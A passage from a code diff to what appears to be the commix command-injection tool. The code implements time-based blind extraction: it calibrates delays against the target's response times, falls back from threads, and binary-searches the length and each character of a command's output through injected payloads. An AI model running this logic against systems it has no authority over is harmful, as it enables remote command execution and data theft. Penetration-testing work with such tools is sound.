costs about a second. + # Measured, that start reads as a delay the payload never asked for, and recorded, it widens the + # model every later comparison is judged against. Paid once here, before either can happen. + def _warm_up_target_shell(): + if settings.TARGET_OS != settings.OS.WINDOWS: + return + safe_candidate = int(maxlen) * 2 + 100 + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.get_length(separator, cmd, safe_candidate, timesec, http_request_method) + else: + probe = payloads.cmd_execution(separator, cmd, safe_candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + if not probe: + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Warming up the target's shell, so that its first start is not measured." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: + requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + except Exception: + pass + + # Sample how long the target takes to answer when nothing is asking it to wait. + def _warm_up_baseline(announce=True): + # With '--disable-stats' a probe is read against the delay it asked for and nothing else, so + # neither model is consulted and neither is worth the requests that fill it. + if menu.options.disable_stats: + return + fan_out = retrieval_concurrency() + # A model of responses asked for one at a time says nothing about how the target answers while + # it is serving several: those take longer, and every one of them then reads as a delay the + # payload never asked for - which is how a character resolves to a value above the real one. + # Sampled again here, the way every probe after it is sent. + if fan_out > 1 and not settings.CONCURRENT_BASELINE: + settings.CONCURRENT_BASELINE = True + del settings.RESPONSE_TIMES[:] + # What a probe costs is a property of the command being asked, so the previous one's sample is + # dropped rather than left to answer for this one. + del settings.PROBE_RESPONSE_TIMES[:] + # Each model is filled from its own kind of request: the probes below cannot stand in for plain + # ones, and pooling them is what lifts the threshold above the delay it is meant to catch. + # Left open, so that the dots below carry on under the same line rather than a second warning + # being written over the first and both of them claiming to be done. + announced = checks.warm_up_response_baseline(url, http_request_method, close=False) + if len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES: + # Silent where the caller has just said what it is taking the model again for: the dots + # carry on under that line instead of repeating it. + if announce and not announced: + # Named for the model it is filling: this one is taken from the payload's own shape, and a + # line reading the same as the one before it looks like the same work being done twice. + warn_msg = settings.TIMING_PAYLOAD_BASELINE_MSG + warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + # The open line says what is being tested, so it is closed rather than written over - and + # this one is left open in its turn, for the dots below to be counted off on it. + settings.close_progress_line() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + + # One sample, taken with a condition that cannot hold, so no delay is asked for. + def _probe(): + safe_candidate = int(maxlen) * 2 + 100 + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.get_length(separator, cmd, safe_candidate, timesec, http_request_method) + else: + probe = payloads.cmd_execution(separator, cmd, safe_candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + checks.record_probe_response_time(exec_time) + # Skip dots in verbose mode; payload debug lines already show progress. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + + # Bounded, and the workers' own failures are re-raised: nothing waits on their results + # otherwise, so a probe that raises every time leaves this asking the target forever. + probe_rounds = 0 + max_probe_rounds = settings.MIN_PROBE_RESPONSES * 2 + while len(settings.PROBE_RESPONSE_TIMES) < settings.MIN_PROBE_RESPONSES and probe_rounds < max_probe_rounds: + probe_rounds += 1 + try: + if fan_out > 1: + with concurrent.futures.ThreadPoolExecutor(max_workers=fan_out) as executor: + for future in [executor.submit(_probe) for _ in range(fan_out)]: + future.result() + else: + _probe() + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + elif announced and settings.VERBOSITY_LEVEL == 0: + # Nothing more to sample, but the line the warm-up opened is still waiting to be closed. + settings.print_data_to_stdout(" (done)") + + # Note a target that has started answering late of its own accord. + def _check_lagging(): + nonlocal length_suspect, lagging_detected + if checks.check_lagging(): + length_suspect = lagging_detected = True + + # A delay the target's own answers already take is no delay at all - both come back late and the + # comparison behind them cannot be read either way. Raised to clear the model before the first + # measurement, rather than after a search has spent its requests on answers that all look alike. + # Under '--threads' this is what the concurrency costs: several requests at once are served + # slower than one, so the delay that told them apart on a quiet target no longer does. + # The next delay to try after an answer could not be read: the measured requirement where that is + # higher than a single step, since a payload whose own work varies by seconds is never caught up + # with one second at a time. + def _escalated_delay(current): + needed = _needed_delay() + stepped = current + settings.TIME_DELAY_STEP + return max(stepped, needed) if needed is not None else stepped + + # The delay that would stand above the target's own answers, as the model has them so far. + def _needed_delay(): + threshold = checks.current_delay_threshold() + return None if threshold is None else int(threshold) + 1 + settings.TIME_DELAY_STEP + + # Give up the concurrency and take the model again without it, so that what follows is judged + # against the way the requests are now sent. + def _fall_back_to_single_thread(reason): + warn_msg = reason + " Continuing with a single thread" + warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + # Whatever was printed last is ended first: the carriage return below returns to the start of + # the line, and would otherwise write this message over it. Left open after that, so the dots of + # the model being taken again carry on under this line. + settings.close_progress_line() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + settings.THREADED_TIME_RETRIEVAL_CHOICE = False + settings.CONCURRENT_BASELINE = False + del settings.RESPONSE_TIMES[:] + _warm_up_baseline(announce=False) + + # Raise the delay until it stands clear of the target's own response times. + def _raise_delay_above_baseline(): + nonlocal timesec + needed = _needed_delay() + if needed is None or needed <= timesec: + return + # Every probe of every character would pay that longer delay, which is more than the threads + # save - so where they are what made the answers slow, they go instead of the delay growing. + if retrieval_concurrency() > 1: + _fall_back_to_single_thread("Concurrent requests would need a longer delay on every probe.") + needed = _needed_delay() + if needed is None or needed <= timesec: + return + timesec = settings.CALIBRATED_TIMESEC = needed + warn_msg = "Raising the time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + warn_msg += ", so that it stands above the target's own response times." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + # Guard timesec so concurrent payloads use the same value for sending and validation. + timesec_lock = threading.Lock() + + delay_candidates = [0] * settings.TIME_DELAY_CANDIDATES + # Lower the delay again where the target has been answering promptly all along. + def _adjust_time_delay(exec_time, lower_limit): + nonlocal timesec + # Never while several requests are in flight. The limit behind this is measured on answers that + # were not held back, while most of the probes around them are - and a request that waits its + # turn behind those comes back as late as one that was delayed on purpose. Lowered on the + # strength of the quick answers, the delay stops standing out from the slow ones at all. + # Read as the requests are actually being sent, not as '--threads' asked for them: a run that + # has already dropped to a single thread sends them one at a time, and left reading the option + # the delay it raised to clear the baseline was never lowered again. + if retrieval_concurrency() > 1: + return + if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE is False: + return + # Never below the floor 'time_related_timesec()' holds every other caller to, or the + # delay is shortened past the point the payload's own cost can be told apart from it. + candidate = max(settings.TIME_DELAY_STEP + int(round(lower_limit)), checks.min_safe_timesec()) + with timesec_lock: + delay_candidates.insert(0, candidate) + del delay_candidates[settings.TIME_DELAY_CANDIDATES:] + if len(set(delay_candidates)) == 1 and candidate < timesec: + if exec_time / (1.0 * timesec / candidate) > settings.MIN_VALID_DELAYED_RESPONSE: + timesec = settings.CALIBRATED_TIMESEC = candidate + info_msg = "Adjusting time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + " due to good response times." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Track clean runs to resume auto-adjustment after a raised delay. + def _note_validation_result(retried): + with timesec_lock: + if retried: + settings.VALIDATION_RUN = 0 + return + settings.VALIDATION_RUN += 1 + if settings.ADJUST_TIME_DELAY_DISABLED and settings.VALIDATION_RUN > settings.VALID_TIME_CHARS_RUN_THRESHOLD: + settings.ADJUST_TIME_DELAY_DISABLED = False + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Turning back on the time delay auto-adjustment mechanism." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + length_suspect = False + lagging_detected = False + + # Measure once with retries and the shared adaptive delay model for both techniques. + def _measure_length(payload): + nonlocal length_suspect + exec_time = 0 + errors_before = settings.VISIBLE_CONNECTION_ERRORS + for attempt in range(5): + before = stability.requests_sent() + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if not stability.request_was_retried(before): + break + if settings.VISIBLE_CONNECTION_ERRORS != errors_before: + length_suspect = True + decision = checks.time_related_shell(exec_time, timesec) + if not decision: + checks.record_probe_response_time(exec_time) + else: + lower_limit = checks.current_delay_threshold(timesec) + if lower_limit is not None: + _adjust_time_delay(exec_time, lower_limit) + return decision + + # Told apart by the difference between a condition that must hold and one that cannot, rather + # than by a threshold: the payload's own work counts for seconds of its own on a slow target. + # Where the two are indistinguishable, every comparison reads as true and the search would settle + # on '--maxlen' and then extract that many characters of noise. + def _oracle_holds(): + # How long the target takes to answer a question about the output's length. + def _probe_time(candidate): + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + probe = payloads.get_length(separator, cmd, candidate, timesec, http_request_method) + else: + probe = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + if not probe: + return None + # No progress dot of its own: this runs before the retrieval line is printed, where a dot + # would sit on its own under the last prompt. + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + return exec_time + + impossible = int(maxlen) * 2 + 100 + cannot_hold = must_hold = None + for _ in range(settings.FALSE_POSITIVE_RETRIES): + try: + cannot_hold = _probe_time(impossible) + must_hold = _probe_time(int(minlen)) + except KeyboardInterrupt: + # Asked again from the top: a round that was interrupted has nothing of its own to compare, + # and what the round before it timed says nothing about this one. + checks.handle_exploitation_interrupt(filename, url) + cannot_hold = must_hold = None + continue + if cannot_hold is None or must_hold is None: + return True + checks.record_probe_response_time(cannot_hold) + if must_hold - cannot_hold >= checks.injected_delay(timesec) / 2.0: + return True + return False + + """ + Whether the target still delays for a condition that holds whatever the command answered. + + Asked only once the oracle has failed, and it separates the two reasons it can fail: a delay that + no longer stands out from the target's own answers, and a command whose output is empty - where + every question about the length of that output is correctly answered "no". + """ + def _delay_still_observable(): + probe = payloads.condition_check(separator, "1 -eq 1", timesec, http_request_method) + if not probe: + return None + try: + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + return None + return checks.time_related_shell(exec_time, timesec) + + # Whether the answers can still be told apart while several requests are in flight - asked of the + # target rather than inferred from a model of it. One probe whose condition cannot hold, and so + # cannot ask for a delay, is sent alongside the others that do ask for one: if even that one comes + # back looking late, then so does everything the retrieval is about to compare. Every round has to + # be told apart, because a retrieval makes thousands of those comparisons and reads a character + # wrong on any one of them. Returns how late such an answer was, or None where none of them were. + def _confounded_by_threads(workers): + impossible = int(maxlen) * 2 + 100 + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + quick = payloads.get_length(separator, cmd, impossible, timesec, http_request_method) + slow = payloads.get_length(separator, cmd, int(minlen), timesec, http_request_method) + else: + quick = payloads.cmd_execution(separator, cmd, impossible, OUTPUT_TEXTFILE, timesec, http_request_method) + slow = payloads.cmd_execution(separator, cmd, int(minlen), OUTPUT_TEXTFILE, timesec, http_request_method) + if not quick or not slow: + return None + + # One request whose only purpose is to occupy the target while another is timed. + def _hold_answer_back(): + # The point of these is the load they put on the target, not what they come back with. + threading.current_thread().commix_suppress_output = True + try: + requests.perform_injection(prefix, suffix, whitespace, slow, vuln_parameter, http_request_method, url) + except Exception: + pass + + exec_time = 0 + for _ in range(settings.FALSE_POSITIVE_RETRIES): + try: + with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: + for _ in range(workers - 1): + executor.submit(_hold_answer_back) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, quick, vuln_parameter, http_request_method, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + if checks.time_related_shell(exec_time, timesec): + return exec_time + return None + + # Raising the delay instead would cost every probe of every character what the concurrency saves. + def _drop_threads_if_timing_unsafe(): + workers = retrieval_concurrency() + if workers <= 1 or not _THREADS_SUPPORTED: + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking whether answers can still be told apart with " + str(workers) + debug_msg += " requests in flight." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + exec_time = _confounded_by_threads(workers) + if exec_time is None: + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "An answer that asked for no delay still took " + str(round(exec_time, 1)) + debug_msg += " seconds while " + str(workers - 1) + " other request" + debug_msg += ("s" if workers > 2 else "") + " waited on the target." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + _fall_back_to_single_thread("Concurrent requests make every answer look delayed on this target.") + + _warm_up_target_shell() + _warm_up_baseline() + _drop_threads_if_timing_unsafe() + _check_lagging() + _raise_delay_above_baseline() + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking that a delayed answer can be told apart from an ordinary one." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + if not _oracle_holds(): + if _delay_still_observable(): + # The delay is there for a condition that does not ask about the output, and gone for every + # one that does - so the command answered nothing, and there is no length to look for. + err_msg = "The '" + str(cmd) + "' command produced no output on the target." + else: + err_msg = "Delayed and ordinary answers cannot be told apart, so the output length cannot be " + err_msg += "measured. Try a higher '--time-sec'" + if retrieval_concurrency() > 1: + err_msg += ", fewer '--threads'" + err_msg += ", or a less loaded network." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_critical_msg(err_msg)) + return 0, "" + + # Close the warm-up dots line before starting a new spinner line. + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + output_length = None + if _cached_length is not None: + output_length = _cached_length + found_chars = True + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not interpreter: + # Convert leftover raw file output to decimal before extraction starts. + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + _measure_length(payload) + info_msg = "Reusing the previously retrieved output length: " + str(output_length) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + info_msg = "Retrieving the length of execution output" + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and OUTPUT_TEXTFILE: + info_msg += " from file '" + OUTPUT_TEXTFILE + "'" + info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + if not (technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and interpreter): + # Binary search the output length, mirroring _bisect_once() below. + def _length_delayed(candidate): + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + if interpreter: + payload = payloads.get_length_alter_interpreter(separator, cmd, candidate, timesec, http_request_method) + else: + payload = payloads.get_length(separator, cmd, candidate, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + return _measure_length(payload) + + """ + One wrong answer sends the search into the wrong half, so a step is worth confirming - but + only where a wrong answer is on the cards. Until the timing has actually been seen to wobble, + a second probe of a step costs another whole delay to be told what the first one said, and + the answer the search settles on is re-checked afterwards either way. Once jitter has been + seen, every step is answered twice, and a third time to break a tie. + """ + def _length_delayed_confirmed(candidate): + first = _length_delayed(candidate) + # One dot for the step, however many of the up-to-three questions above it took to answer - + # a caller reading the dot count as the search's own size would otherwise see a step that + # needed confirming cost three times what an identical, uncontested one cost. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if not settings.JITTER_SEEN: + return first + if first == _length_delayed(candidate): + return first + return _length_delayed(candidate) + + # Find the length of the output, by bracketing it and then halving the bracket. + def _bisect_length(): + # Each question keeps the interrupt handling the rest of this search has, and the searching + # itself is the shared one - the same halving the ordinals are found with, over lengths. + def _asks(candidate): + while True: + try: + return _length_delayed_confirmed(candidate) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + return resolved_length(_asks, minlen) + + output_length = _bisect_length() + + if output_length is not None: + # Whether a length is the answer: it must hold, and the next one up must not. + def _boundary_holds(candidate): + if not _length_delayed(candidate): + return False + # The next length up must not hold. Without that negative half, a target that answers + # late whatever it is asked has its upper bound accepted as the answer. + if _length_delayed(candidate + 1): + return False + return True + + # Read the length back a second way, where the technique can be asked for it directly. + def _exact_length_confirmed(candidate): + if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return True + payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-eq") + return _measure_length(payload) + + """ + Best-of-3 vote once jitter has been seen, for a stronger guarantee. A single pass is enough + while the timing is clean: it already asks in both directions, and a wobble would have to + fall the right way twice over to be mistaken for an answer. + """ + def _validate_boundary(candidate): + if settings.JITTER_SEEN: + votes = [_boundary_holds(candidate) for _ in range(3)] + same_mechanism_ok = votes.count(True) >= 2 + else: + same_mechanism_ok = _boundary_holds(candidate) + result = same_mechanism_ok and _exact_length_confirmed(candidate) + # One dot for the validation attempt, whatever it cost internally to reach. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + return result + + revalidations = 0 + original_timesec = timesec + while True: + try: + validated = _validate_boundary(output_length) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + if validated: + break + was_jittery = settings.JITTER_SEEN + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) + if revalidations >= max_revalidations: + length_suspect = True + timesec = settings.CALIBRATED_TIMESEC = original_timesec + break + revalidations += 1 + settings.print_data_to_stdout(settings.print_error_msg("Invalid length detected. Retrying..")) + if settings.ADJUST_TIME_DELAY_CHOICE is not False: + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) + warn_msg = "Increasing time delay to " + str(timesec) + " second" + ("s" if timesec > 1 else "") + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + output_length = _bisect_length() + if output_length is None: + length_suspect = True + # Put the delay back, the way exhausting the retries above does: it was raised for a + # search that has now given up, and left raised every later command pays it. + timesec = settings.CALIBRATED_TIMESEC = original_timesec + break + _note_validation_result(revalidations > 0) + + if output_length is not None: + found_chars = True + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + _length_delayed(output_length) + else: + # Experimental interpreter path only - its oracle is still exact-match, not bisectable. + # Up to and including the limit: '--maxlen' is how much this run is willing to read, which is + # a length it is willing to read rather than one short of it. + for candidate_length in range(int(minlen), int(maxlen) + 1): + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, candidate_length, OUTPUT_TEXTFILE, timesec, http_request_method) + found = _measure_length(payload) + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if found: + output_length = candidate_length + found_chars = True + break + + if settings.VERBOSITY_LEVEL == 0 and found_chars: + settings.print_data_to_stdout(" (done)") + + if length_suspect: + warn_msg = "The detected output length may be unreliable due to connection instability. Consider re-running to confirm it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + """ + What the run was willing to read, applied to the reading - after the length has been settled and + confirmed, so what is announced is what will actually be read. + + The length is found on its own now, so an output past that limit is known to be past it rather + than guessed at a bound: the first characters of a length said outright, instead of a shorter + output that reads like a whole one. + """ + # The length as measured, before the read limit below is applied to it - what a partial result is + # recorded against, so a later run given a higher '--maxlen' is not held to this run's limit. + full_output_length = output_length + if found_chars is True and output_length is not None and int(output_length) > int(maxlen): + settings.INCOMPLETE_OUTPUT = True + warn_msg = "The output is " + str(int(output_length)) + " characters long, and this run reads " + warn_msg += str(int(maxlen)) + " of them. Re-run with a higher '--maxlen' to read the rest of it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + output_length = int(maxlen) + + if _cached_length is None and found_chars is True and output_length > 1: + info_msg = "Retrieved: " + str(output_length) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Every character costs its own requests, so a long output is worth confirming first. + if found_chars is True and output_length > settings.LARGE_OUTPUT_THRESHOLD: + workers = retrieval_concurrency() + message = "The output is " + str(output_length) + " characters long and is recovered " + message += "one character at a time" if workers == 1 else str(workers) + " characters at a time" + message += ". Do you want to retrieve it? [Y/n] " + if common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_YES: + warn_msg = "Skipping the retrieval of " + str(output_length) + " characters." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return 0, "" + + # Proceed with the next (injection) step! + if found_chars is True : + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + num_of_chars = output_length + 1 + check_start = 0 + check_end = 0 + check_start = time.time() + output = [] + # Position -> resolved ordinal (>= 0), shared by both loops; -1 marks "attempted, no delay found". + UNRESOLVED_POSITION = -1 + results_by_position = {} + failed_positions = set() + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + base_progress_msg = "Retrieving the execution output." + else: + base_progress_msg = "Retrieving the execution output from file '" + OUTPUT_TEXTFILE + "'." + if settings.VERBOSITY_LEVEL == 0 : + info_msg = base_progress_msg.rstrip(".") + ": " + else: + info_msg = base_progress_msg + settings.END_LINE.LF + # Skip when resuming; _load_partial_progress() prints the resume header and progress line. + if output_length > 1 and _cached_length is None: + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + eta_bar = progress.ProgressBar(maxvalue=output_length) if menu.options.eta else None + + observed_chars = set() + observed_count = [0] + char_frequency = {} + observed_chars_lock = threading.Lock() + + # Renders positions resolved so far, order-independent: "_" not attempted, "?" no delay found. + def _render_output_so_far(): + furthest = 0 + chars = [] + for pos in range(1, output_length + 1): + ascii_char = results_by_position.get(pos) + if ascii_char == UNRESOLVED_POSITION: + chars.append(settings.UNRESOLVED_CHAR) + furthest = pos + elif ascii_char is not None: + ch = chr(ascii_char) + chars.append(ch if ch.isprintable() else " ") + furthest = pos + else: + chars.append("_") + return checks.progress_display_text(chars, furthest, output_length) + + # Rewrite the progress line with the characters resolved so far. + def _print_progress(): + # Asked for as an estimate rather than as the text: how much is left, and how long it will take. + if eta_bar is not None: + eta_bar.progress(sum(1 for _pos in range(1, output_length + 1) if results_by_position.get(_pos) is not None)) + return + if settings.VERBOSITY_LEVEL == 0: + progress_msg = base_progress_msg.rstrip(".") + ": " + _render_output_so_far() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(progress_msg)) + + # Pre-populates results_by_position from an interrupted prior run's partial value. + def _load_partial_progress(): + if _stored_partial is None: + return + body = _stored_partial[len(settings.PARTIAL_VALUE_MARKER):] + try: + stored_length, pairs = body.split(":", 1) + # Against the length as measured rather than as read: a run reading fewer of them is reading + # the same output, and the positions past this run's limit are not among the ones it reads. + if int(stored_length) != full_output_length: + return + for pair in pairs.split(","): + if not pair: + continue + pos_str, ord_str = pair.split("=") + if int(pos_str) <= output_length: + results_by_position[int(pos_str)] = int(ord_str) + except ValueError: + return + if results_by_position: + info_msg = "Resuming the previously interrupted extraction (" + str(len(results_by_position)) + "/" + str(output_length) + " character(s) already retrieved)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + _print_progress() + + # Persists progress so far, partial unless every position is done - called + # before any interrupt-triggered exit. + def _save_progress(): + if menu.options.ignore_session: + return + resolved = dict((pos, ordinal) for pos, ordinal in results_by_position.items() + if ordinal is not None and ordinal != UNRESOLVED_POSITION) + if len(resolved) >= len(positions) and not settings.INCOMPLETE_OUTPUT: + value = "".join(chr(resolved[pos]) for pos in positions) + else: + # Recorded against the measured length: every position this run was willing to read can be + # resolved and the output still be the shorter part of a longer one. + pairs = ",".join(str(pos) + "=" + str(ordinal) for pos, ordinal in sorted(resolved.items())) + value = settings.PARTIAL_VALUE_MARKER + str(full_output_length) + ":" + pairs + session_handler.store_cmd(url, cmd, value, vuln_parameter) + + # Resolve one character of the output, by halving the range its value lies in. + def _bisect_once(num_of_chars, char_pool): + nonlocal timesec + # Binary search over the character's ordinal value. + min_ord = min(char_pool) + max_ord = max(char_pool) + conn_error_flag = False + + # Whether the target waits when asked if this character is at or below a value. + def _char_delayed(candidate, operator="-le"): + nonlocal conn_error_flag + with timesec_lock: + local_timesec = timesec + payload = payloads.get_char(separator, cmd, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) + exec_time = 0 + errors_before = settings.VISIBLE_CONNECTION_ERRORS + for attempt in range(5): + before = stability.requests_sent() + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if not stability.request_was_retried(before): + break + if settings.VISIBLE_CONNECTION_ERRORS != errors_before: + conn_error_flag = True + decision = checks.time_related_shell(exec_time, local_timesec) + if not decision: + checks.record_probe_response_time(exec_time) + else: + lower_limit = checks.current_delay_threshold(local_timesec) + if lower_limit is not None: + _adjust_time_delay(exec_time, lower_limit) + return decision + + # The halving itself, over the ordinals the character can still be. + def _bisect_chars(force_full=False): + lo = min_ord - 1 + hi = max_ord + # Confirm the fast path twice; threaded mode re-raises so only the main thread prompts. + while True: + try: + if _char_delayed(hi) and _char_delayed(hi): + """ + And ask something no byte can be. A target answering late to everything agrees to this + shortcut for every position, and the equality check that follows agrees too, being + just as saturated - so the whole output resolves to the pool's last character. A + control that comes back delayed says the timing, not the byte, is doing the talking. + + One above the pool is no such control: the pool stops at the last printable character + and a byte is free to carry on past it, so a target reading one answers that question + honestly and used to be thrown away for it. + """ + if _char_delayed(settings.HIGHEST_BYTE + 1): + return None, True + if not _char_delayed(hi + 1): + return hi, True + """ + Above everything the pool holds, so the rest of the range a byte can be is asked about + too - the halving below only ever looks inside the pool, and the heuristics before it + only at characters already seen. Paid for by the positions that need it, and not at + all by a pool the user wrote out, where a byte outside it was not asked for. + """ + if not checks.char_pool_expands(): + return None, True + low_delayed, high_undelayed = hi + 1, settings.HIGHEST_BYTE + 1 + while high_undelayed - low_delayed > 1: + try: + mid = (low_delayed + high_undelayed) // 2 + if _char_delayed(mid): + low_delayed = mid + else: + high_undelayed = mid + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + return low_delayed, True + break + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + + if not force_full: + with observed_chars_lock: + top_candidates = sorted(char_frequency, key=char_frequency.get, reverse=True)[:settings.FREQUENCY_PROBE_TOP_K] + saturated = False + for candidate in top_candidates: + while True: + try: + if _char_delayed(candidate, operator="-eq"): + # Reject a saturated oracle: a value that cannot match must come back undelayed. + if not (threaded or settings.JITTER_SEEN): + return candidate, False + control = candidate + 1 if candidate < max(char_pool) else min(char_pool) + if not _char_delayed(control, operator="-eq"): + return candidate, False + saturated = True + break + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + if saturated: + break + + with observed_chars_lock: + eligible = (observed_count[0] >= settings.NARROWING_MIN_OBSERVED + and len(observed_chars) <= settings.NARROWING_MAX_SET_SIZE) + narrowed = sorted(observed_chars) if eligible else None + if narrowed: + # Binary-search the narrowed set by index; keep hi as an exclusive sentinel. + nlo, nhi = -1, len(narrowed) + while nhi - nlo > 1: + try: + nmid = (nlo + nhi) // 2 + if _char_delayed(narrowed[nmid]): + nlo = nmid + else: + nhi = nmid + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + if nlo >= 0: + # The value may be outside this set; boundary validation catches and escalates misses. + return narrowed[nlo], False + + while hi - lo > 1: + try: + mid = (lo + hi) // 2 + if _char_delayed(mid): + lo = mid + else: + hi = mid + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + return (lo, True) if lo >= min_ord else (None, True) + + ascii_char, from_full_range = _bisect_chars() + + """ + A position that produced no delay anywhere is the case the escalation below exists for: the + delay may be too short for this target, or the threshold too high to notice it. Answered with + nothing and left out of that loop, it got no second chance at all, while a position that + answered wrongly got fifteen. + """ + if ascii_char is None and settings.ADJUST_TIME_DELAY_CHOICE is not False: + undelayed_retries = 0 + before_escalation = timesec + while ascii_char is None and undelayed_retries < settings.MAX_LENGTH_REVALIDATIONS: + undelayed_retries += 1 + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = _escalated_delay(timesec) + new_timesec = timesec + warn_msg = "No delayed answer for this character. Increasing time delay to " + warn_msg += str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + try: + ascii_char, from_full_range = _bisect_chars(force_full=True) + except KeyboardInterrupt: + if threaded: + raise + checks.handle_exploitation_interrupt(filename, url) + if ascii_char is None: + conn_error_flag = True + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = before_escalation + + if ascii_char is not None: + # Re-probe with equality before accepting - one request when clean, + # best-of-3 once jitter is seen. + def _validate_char_boundary(candidate): + if settings.JITTER_SEEN: + votes = [_char_delayed(candidate, operator="-eq") for _ in range(3)] + return votes.count(True) >= 2 + return _char_delayed(candidate, operator="-eq") + + revalidations = 0 + """ + The delay this character started with, to go back to once it has had its attempts. + + Raising it is how a position that answered unreliably is asked again, and it is that + position's business alone: left standing, the first bad character sets the pace every one + after it is read at, and on a target that wobbles once the run never comes back down. + """ + with timesec_lock: + original_timesec 